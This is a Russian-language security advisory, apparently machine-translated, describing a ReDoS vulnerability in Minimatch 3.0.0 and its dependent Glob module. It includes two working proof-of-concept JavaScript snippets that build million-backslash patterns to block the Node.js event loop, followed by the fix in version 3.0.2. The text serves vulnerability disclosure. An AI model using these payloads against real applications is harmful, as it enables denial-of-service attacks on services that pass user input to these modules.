Модуль

Minimatch (https://github.com/isaacs/minimatch) - это минимальная утилита сопоставления, которая работает путем преобразования глобальных выражений в объекты JavaScript RegExp.

По состоянию на май 2016 года он получает около 30 миллионов загрузок в месяц, что делает его третьим по популярности модулем npm по количеству загрузок. Он также используется как зависимость в модуле npm Glob (https://github.com/isaacs/node-glob), который является первым наиболее популярным модулем npm по количеству загрузок. На данный момент Minimatch - это версия 3.0.0, выпущенная в марте 2015 года.

Уязвимость

Отказ в обслуживании с использованием регулярных выражений (ReDoS) происходит, когда данное регулярное выражение достигает экстремального состояния, в результате чего сравнение со злонамеренными входными данными занимает чрезвычайно долгий период времени. Этот тип уязвимости особенно проблематичен в Node.js / JavaScript, поскольку он вызывает блокировку цикла событий до завершения сравнения. Пока цикл событий заблокирован, приложение Node.js не будет выполнять никакой другой обработки. Minimatch 3.0.0 уязвим для регулярного экспресс-отказа в обслуживании из-за проблемного регулярного выражения в строке 521 файла minimatch.js:

tail = tail.replace(/((?:\\{2})*)(\\?)\|/g, function (_, $1, $2) {

Эксплойт

Регулярное выражение, о котором идет речь, проверяет наличие \, что и является сутью эксплойта. Предоставляя строку с длинной последовательностью символов \, можно вызвать чрезмерное ветвление обработчика регулярных выражений, что увеличивает общее время выполнения сравнения. Когда используется строка 1 000 000 \ ‘s, цикл событий может блокироваться более чем на пять минут на одно сравнение. Число 1000000 было выбрано, потому что оно представляет собой верхнюю границу максимального размера запроса, который веб-приложение hapi будет принимать по умолчанию. Когда используется строка 100 000 \ 's - что является ограничением размера запроса Express по умолчанию - цикл событий блокируется на полные семь секунд в тестовых сценариях.

Доказательство концепции (PoC)

Уязвимый параметр - второй параметр для модуля Minimatch. Это параметр шаблона.

Полное доказательство концепции выглядит следующим образом:

var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);

Сопутствующий ущерб

Как отмечалось выше, Minimatch является зависимостью для Glob, и оказывается, что Glob уязвим для той же атаки ReDoS через первый параметр модуля Glob.

PoC для Glob будет выглядеть так:

var glob = require(“glob”);
// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}
var exploit = “[!(“ + genstr(1000000, “\\”) + “A”;
// glob exploit.
console.log(“starting glob”);
glob(exploit, function(err, matches){
  console.log(“finishing glob”);
});

Любое приложение, которое передает пользовательский ввод либо в модуль Glob, либо в параметр шаблона модуля Minimatch, уязвимо для этой конкретной атаки ReDos. Пользователям рекомендуется перейти на версию 3.0.2.

Исправление

Проблемная часть рассматриваемого регулярного выражения оказалась ((?: \\ {2}) *). После обсуждения с автором модуля было решено, что ограничение длины будет наложено на рассматриваемое регулярное выражение, в результате чего ((?: \\ {2}) {0,64}) как окончательное решение. Урок, который следует усвоить, может быть необходимым ограничить длину ввода регулярными выражениями, которые оказываются уязвимыми для отказа в обслуживании регулярных выражений.

Для получения дополнительной информации см. Рекомендации по адресу https://nodesecurity.io/advisories/118.